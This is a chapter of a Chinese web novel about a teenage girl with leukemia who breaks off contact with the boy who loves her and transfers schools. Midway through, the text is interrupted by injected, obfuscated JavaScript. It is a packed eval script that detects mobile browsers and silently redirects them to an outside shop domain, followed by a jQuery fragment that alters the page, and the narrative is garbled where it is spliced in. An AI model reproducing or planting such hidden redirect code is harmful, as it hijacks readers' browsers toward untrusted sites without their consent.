“滴——”
忙音像一根针,决绝刺进耳膜。
徐知暖先一步挂断电话。
她不敢再听江澈说任何一句话。
怕心软。
怕后悔。
顷刻间,眼泪决堤。
她蜷起身,紧紧捂着脸,肩膀止不住发颤,眼泪浸湿指缝。自责、难过、无力,沉沉地压着她,呜咽声一点点溢出,混成一声又一声的“对不起”。
她不知道自己还有多少时间。
可她清楚,江澈的人生还很长,长到足以慢慢忘记一个叫徐知暖的人。
他才十七岁。
一切才刚刚开始,前途光明,未来辽阔。
不该把时间浪费在她这里。
她那么那么喜欢的少年,应该行至光里,活得干净恣意,岁岁欢喜,一生平安顺遂。
幸好,才十七岁。
十七岁喜欢上的人,在漫长的一生里,终究会变得……
无足轻重。
-
暮色沉落,远处楼宇渐次亮起灯火,每一盏都照着一处温暖的家。
安绮霜推门走了进来,放下行李箱,看着女儿苍白失神的脸,在床边坐下。
“衣服什么的,我都给你带来了,”她握住徐知暖的手,“别怕。我今天问过叔叔,他说现在医学发达,白血病也没那么可怕,治愈率一直在提高。咱们好好治,会好的。”
她声音很轻,很温柔。
徐知暖麻木地点了点头,一个字也没说。
略作停顿,安绮霜又说:“今天收拾完行李出来,我看见那个男生了。我,就照你说的,都告诉他了。”
在知道徐知暖确诊的信息后,安绮霜也知道了江澈的存在。电话里,徐知暖说,如果在家里遇到一个男生,就告诉对方,她要和妈妈一起住,不回去了。
安绮霜当时想问,家里怎么会有一个男生?他是谁?
但考虑到徐知暖刚确诊有白血病,情绪肯定不好。而且,她的女儿她了解,无论她在或不在身边,这孩子一直都懂事、乖巧,有自己的分寸。
所以她最终没有多问。
可现在,看着徐知暖哭红的眼睛,她忽然有些猜到了。
她手指摩挲着徐知暖的手背,安慰道:“暖暖,以后的事,现在谁都说不准。但无论好坏,妈妈都希望你,不要给自己留下遗憾,知道吗?”
徐知暖慢慢转过头看她,唇边掠起一抹淡笑,转瞬即逝。
-
八月下旬,星海中学的高三生提前开学了。
自从上次那通电话之后,江澈再也没有见过徐知暖。
两人之间彻底断了联系。
电话、微信、短信。
所有能想到的方式,他都试过。
能打通,也没被拉黑,只是永远没有回音。
那个家……
她也真的没再回去过。
“喂,你最近怎么没去奶茶店了?”向驰翘着二郎腿,吊儿郎当问。
这是近两个月来,他第一次见到江澈。快高三,他被爹妈押着上了好几个补习班,本来想过几天再找江澈诉苦,没想到江澈先来了。
而且,看这脸色,感觉他才是要诉苦的那位。
“没什么好去的。”江澈说。
“呦呦呦!还没什么好去的?”气氛太闷,向驰故意调侃他,“也不知道以前是谁,雷打不动,周一到周日都在那儿报到啊!”
江澈不说话了。
看他这副死样,向驰收起玩笑,直截了当地问:“怎么,又跟徐知暖吵架了?”
“……”
“我跟你讲——”
“我找不到她了。”江澈忽然打断他。
向驰一怔:“什么意思?”
“字面意思。”
“不是,”他放下腿,坐正,“人家小情侣吵架是冷战,你们倒是别树一帜,喜欢玩失踪?”
“没在一起。”
“哦,”向驰挑眉,“有区别吗?”
在他的印象里,这两人除了没捅破窗户纸。
哦,不对,除了没正式说在一起,其他跟情侣有什么两样?
“……”
江澈冷眼睨他。
向驰叹了口气,摇了摇头,换江澈能听进去的语气,问:“行,那你说,这次是为什么?”
江澈回想起那天徐知暖说的话。
心脏再次一疼。
他沉声:“我给她压力了。”
“压力?什么压力?”
“暑假,在沪市的时候我跟她说了些,算是表白的话。”江澈说,“给她压力了。”
向驰眼睛倏地睁大:“你逼她答应了?”
“没有。”江澈声音更低,“因为,她不喜欢我”
“啊?”向驰难以理解,“你是不是听错了?有没有可能人家只是说‘暂时没想好’,你理解成‘不喜欢’了?”
“没误解。”江澈自嘲地扯嘴,“这句话,是她亲口说的。她说,她只把我当朋友。”
……
病房里。
徐知暖刚做完腰穿,比骨穿更难忍受,只能僵硬地背躺着。
短短几周,她几乎变了个人。
白皙的皮肤变得暗黄,头发也掉了很多,脸颊深深凹陷,像早衰的老人。
“暖暖,”安绮霜走到床边,“闭上眼睛睡会儿吧”
徐知暖很慢地摇了摇头,凝着窗外被夕阳浸染的天空。
“今天……开学了吧?”
“嗯。”
“我以前,挺不喜欢上学的。作业好多,还要早起,晚睡。”她声音很轻,没什么力气,说一句就要停很久,“现在觉得,也挺好。”
安绮霜忍着眼睛的酸胀,努力弯起嘴角:“没事,等你好了,你来跟妈妈一起住,妈妈每天接送你,好不好?”
徐知暖转过眼,看向她。
一滴泪毫无预兆地从眼角滑落,迅速洇进雪白的枕头里,没了痕迹。
她轻轻点了点头。
到了晚上,疼痛减弱了不少。
她喝了点粥,看着手机,刷到了好多同学的朋友圈。
热闹的、鲜活的、一个或许已经与她无缘的青春。
在这时。
屏幕上方弹出一条语音通话请求。
周苒打来的。
迟疑了下,徐知暖接起:“喂,苒苒。”
“暖暖,你今天怎么没来上学啊!”周苒的声音还是很活泼,带着扑面而来的生命力。
徐知暖握着手机,顿了一秒,说:“我,要转学了。”
“啊?转学?为什么啊?”
“我去我妈妈那边住了,他们要搬家,去沪市,我也得跟着。所以,以后,就在那边上学了。”
“啊?这么大的事,你怎么才跟我说啊!”周苒的声音一下子拔高,又急忙压下去,带着不满和担心,“不是,那你现在在哪儿?已经走了吗?”
“还没有,明天。”
见周苒不出声,徐知暖知道她生气了。
这很正常,她也理解。
毕竟,自己这么做,确实很自私。
不管对谁,都是。
“对不起嘛,这次确实是太突然,我没来得及说。”现在,她的声音都不需要放软,就自带着讨好的语气,“你放心,等有空了,我会回来的,到时候请你吃饭。”
“这是一顿饭的事情嘛!”
“错了嘛……”她撒了个娇。
周苒继续沉默,心里堵着气。
可是一想到徐知暖这段时间经历的事,那股气,也只能自我消化。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17607206|204148||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>反正,等到下次见面,可以好好“算账”。
“行,仅此一次,下不为例啊!”
徐知暖勾起已无血色地唇,作回复。
-
隔天,是星海中学的开学典礼,每个班都要列队去操场。
艺术班离操场最近。
江澈站在草坪边缘,视线注视着走向操场的高三队伍。
一列又一列过去。
他始终没有找到徐知暖。
不过人太多了,他想,可能只是自己没注意到。
午自习时,他去了趟重点班所在的教学楼。
走廊里安安静静,没有一个人。
他走在其中实在突兀至极,经过一班的窗户,陌生面孔涌入视野。
他放缓脚步。
里面,只有周苒他是认识的,知道她是徐知暖的同桌。
而她旁边的座位,空着。
江澈脚步一滞,停在门口。
一道影子斜斜投进教室。
第一排的学生先抬起头,看到是他,愣了愣,随即和同桌说了句什么。
窃窃私语声逐渐荡开。
周苒也受影响抬头,看见了站在门外的江澈。
江澈抬手,屈指敲了敲门框:“周苒,出来下。”
周围的目光齐齐投向周苒。
她满心疑惑地走了出去。
“怎么了?”她问。
“徐知暖,”江澈开门见山,“今天没来上学?”
“她转学了啊。”
江澈眉心蹙起:“转学?”
见他这副神情,周苒也十分意外:“她……没告诉你啊?”
-
江澈回到家。
屋里还和上次离开时一样,窗帘紧紧拉着,沉黑一片。
他放下手上的行李,拿出一个电话机,放在茶几上,半跪下。目光虚浮地落在机身,许久,才伸手拿起听筒。
这个电话机是新买的,号码徐知暖不知道。
凭着赌一把的心态,他缓慢地按下了那串号码。
忙音响起,电子屏上的数字开始跳动。
他喉结滚了滚。
数字跳到16时。
绿色的屏幕上跳出了通话计时。
00:00。
他呼吸一滞。
两边都很安静。
持续了足足十几秒,那边才传来一道声音:
“喂。”
嗓音温淡,清恬。
只一秒。
江澈眼眶染上涩意。
他吸了口气,哑声:“……喂。”
电话那头又静下去。
仿佛过了半个世纪,少女再次开口:“江澈。”
不是疑问。
是平静的确认。
他攥着听筒,指节发白,屏着气压下哽塞:“你转学了?”
“嗯。”
“为什么不告诉我?”
一两秒的空白。
江澈没等到她的回答,径直问,声音里带着压抑的颤:“我们不是朋友吗?”
“我们是朋友。”
“徐知暖,”
他像是终于忍无可忍,每个字都咬得用力,“你微信不回,电话不接,现在连转学也不说!你就是这么对朋友的?”
问完,眼睛已经红得彻底。
他深深吸了口气,还想再说什么,却听见听筒里少女极其冷静地反问:
“江澈,你有真的只把我当朋友吗?”
江澈眸光一震。
忽然明白,她刚才说的“我们是朋友”,不是陈述。
“我觉得朋友之间的感情,应该是纯粹的。所以,如果我们是朋友,我希望我们之间,也是纯粹的。”徐知暖说,
“如果不是,那就各退一步吧。”